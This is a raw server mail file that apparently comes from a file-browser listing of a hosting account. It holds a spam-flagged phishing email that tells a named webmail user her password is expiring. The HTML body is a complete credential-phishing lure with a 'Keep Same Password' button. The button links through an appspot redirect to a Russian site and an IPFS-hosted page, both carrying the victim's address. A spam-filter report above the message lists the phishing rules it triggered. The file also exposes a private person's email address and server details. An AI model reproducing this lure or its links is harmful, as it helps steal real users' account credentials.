| Dir : /home/ithome/mail/cur/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/cur/1758093579.M656732P28733.host100322.itwesthosting.com,S=9828,W=9993:2, |
Return-Path: <info@eurostar.lv>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id CMr8Jgthymg9cAAAp0YrwQ
(envelope-from <info@eurostar.lv>)
for <ithome@host100322.itwesthosting.com>; Wed, 17 Sep 2025 09:19:39 +0200
Return-path: <info@eurostar.lv>
Envelope-to: silvana.pavic@h1telekom.hr
Delivery-date: Wed, 17 Sep 2025 09:19:39 +0200
Received: from v23289523.sin01.serveradd.com ([74.91.223.219]:54312)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <info@eurostar.lv>)
id 1uymS3-0007X0-1T
for silvana.pavic@h1telekom.hr;
Wed, 17 Sep 2025 09:19:39 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arcsg.com;
s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:
Date:Subject:To:From:Sender:Reply-To:Cc:Content-ID:Content-Description:
Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
List-Post:List-Owner:List-Archive;
bh=+/G6tMmPUIBohHtDYm4WcKt3Gtr8691BKDixxNMl4No=; b=lg1/fg0mCMm6OmIMAniXWl4M8Q
9LGjNwrkSI66fA7AgHubQzWrpZ2DoCR63o6fyXiMhAu8TUDuF3nB6au4Qzx4OezR7nE9VaKsYgv0v
KjzVccAbqaFtot7jEmpuCjK+Ma71jmteKXRFzpEOWOD/CMwg4ibZPXRg57MMedFluDPhljWhi3Nl0
+Zk5IwyaR2msGNC1g5p4ZUWVjIm3faQfZyRbynsAzFB+s8K9LPcYZ8r9oPjHLTp+4G13fviJPzOQy
IiNQVJ+graK28SGBD2ueK7wp/tjtP+vt9N3GePDVfFy5rKxXQHQZCbqRkFOYRDImAUL8sj58PDDBQ
JyKWEyOw==;
Received: from [38.255.34.209] (port=57110 helo=eurostar.lv)
by v23289523.sin01.serveradd.com with esmtpa (Exim 4.98.2)
(envelope-from <info@eurostar.lv>)
id 1uymRz-00000005nFu-2IoX
for silvana.pavic@h1telekom.hr;
Wed, 17 Sep 2025 03:19:35 -0400
From: Mail Administrator <info@eurostar.lv>
To: silvana.pavic@h1telekom.hr
Date: 17 Sep 2025 00:19:33 -0700
Message-ID: <20250917001933.FCA46B5A3FB38E19@eurostar.lv>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - v23289523.sin01.serveradd.com
X-AntiAbuse: Original Domain - h1telekom.hr
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - eurostar.lv
X-Get-Message-Sender-Via: v23289523.sin01.serveradd.com: authenticated_id: consteel@arcsg.com
X-Authenticated-Sender: v23289523.sin01.serveradd.com: consteel@arcsg.com
X-Source:
X-Source-Args:
X-Source-Dir:
X-Spam-Status: Yes, score=12.0
X-Spam-Score: 120
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: webmail h1telekom.hr, Your account silvana.pavic@h1telekom.hr
password will expire on 9/17/2025 12:19:33 a.m.. Please kindly use the button
below to continue with the same password.
Content analysis details: (12.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: inge_goldatl_as-dot-mm-event.appspot.com]
0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
[URIs: inge_goldatl_as-dot-mm-event.appspot.com]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: 47-detsad.ru]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[74.91.223.219 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[74.91.223.219 listed in sa-accredit.habeas.com]
0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
2.8 URI_IPFSIO References Interplanetary File System PtP content via
ipfs.io, likely phishing
0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
Colors in HTML
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
0.0 URI_IPFS References Interplanetary File System PtP content,
probable phishing
6.2 KAM_MAILBOX2 Mailbox Quota Phishing Scams
X-Spam-Flag: YES
Subject: ***SPAM*** silvana.pavic@h1telekom.hr password expires 9/17/2025 12:19:33 a.m.
X-From-Rewrite: unmodified, forwarded message
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;">
<p align=3D"center" style=3D"color: rgb(0, 0, 0); text-transform: none; tex=
t-indent: 0px; letter-spacing: normal; font-family: System; font-size: 15px=
; font-style: italic; font-weight: bold; margin-top: 0px; margin-bottom: 1r=
em; word-spacing: 0px; white-space: normal; box-sizing: border-box; orphans=
: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligature=
s: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-=
decoration-thickness: initial; text-decoration-style:=20
initial; text-decoration-color: initial;"><font color=3D"#fd7902" size=3D"7=
" style=3D"box-sizing: border-box;">webmail</font><br style=3D"box-sizing: =
border-box;"></p>
<span style=3D"text-align: left; color: rgb(34, 34, 34); text-transform: no=
ne; text-indent: 0px; letter-spacing: normal; font-family: Roboto, sans-ser=
if; font-size: 14px; font-style: normal; font-weight: 400; word-spacing: 0p=
x; white-space: normal; box-sizing: border-box; orphans: 2; widows: 2; back=
ground-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-vari=
ant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness=
: initial; text-decoration-style: initial;=20
text-decoration-color: initial;"><p align=3D"center" style=3D"font-family: =
Arial, sans-serif; margin-top: 0px; margin-bottom: 1rem; box-sizing: border=
-box;"><span style=3D"text-align: left; color: rgb(44, 54, 58); font-family=
: Roboto, sans-serif; box-sizing: border-box;"><font color=3D"#000000" styl=
e=3D"box-sizing: border-box;"><font color=3D"#000000" style=3D"box-sizing: =
border-box;"><font size=3D"6" style=3D"box-sizing: border-box;">
<a style=3D"color: rgb(34, 34, 34); box-sizing: border-box; background-colo=
r: transparent;">h1telekom.hr</a></font></font></font></span><font size=3D"=
5" style=3D"box-sizing: border-box;"><font color=3D"#000000">,</font><br st=
yle=3D"box-sizing: border-box;"><font color=3D"#000000">Your account<span>&=
nbsp;</span></font>silvana.pavic@h1telekom.hr<font color=3D"#000000"> =
password will<span> </span></font>expire on<font color=3D"#000000">&nb=
sp;9/17/2025 12:19:33 a.m..</font><br style=3D"box-sizing: border-box;"></f=
ont></p>
<p align=3D"center" style=3D"font-family: Arial, sans-serif; margin-top: 0p=
x; margin-bottom: 1rem; box-sizing: border-box;"><font color=3D"#000000">Pl=
ease kindly use the button below to continue with the same password.</font>=
<font style=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box=
;"><br style=3D"box-sizing: border-box;">
<a style=3D"padding: 12px 18px; border: 1px solid rgb(0, 115, 255); border-=
image: none; width: 368px; height: 32px; color: rgb(255, 255, 255); line-he=
ight: 27px; box-sizing: border-box; background-color: rgb(0, 115, 255); tex=
t-decoration-line: none;" href=3D"https://inge_goldatl_as-dot-mm-event.apps=
pot.com/em_qpAQlhveTMO7E0k7TAlt?url=3Dhttps://47-detsad.ru/index090.html?et=
a=3Dsilvana.pavic@h1telekom.hr" target=3D"_blank" rel=3D"noreferrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://ipfs.io/ipfs=
/bafybeielntggkivz26qyznzjkbhobnquprbpxeq6mqm2k6quonxns3huqu/Teegramdomain2=
=2Ehtml/?eta%3D%5B%5B-Email-%5D%5D&source=3Dgmail&ust=3D17573758388=
68000&usg=3DAOvVaw1oj7JAp39Ylr-3nQ3iWXLX">Keep Same Password</a><font s=
tyle=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box;"><fon=
t size=3D"6" style=3D"box-sizing: border-box;"><br style=3D"box-sizing: bor=
der-box;"><font color=3D"#000000">Automated Message</font>
<font style=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box=
;">silvana.pavic@h1telekom.hr</font></font></font></font></p></span><p><br>=
</p></body></html>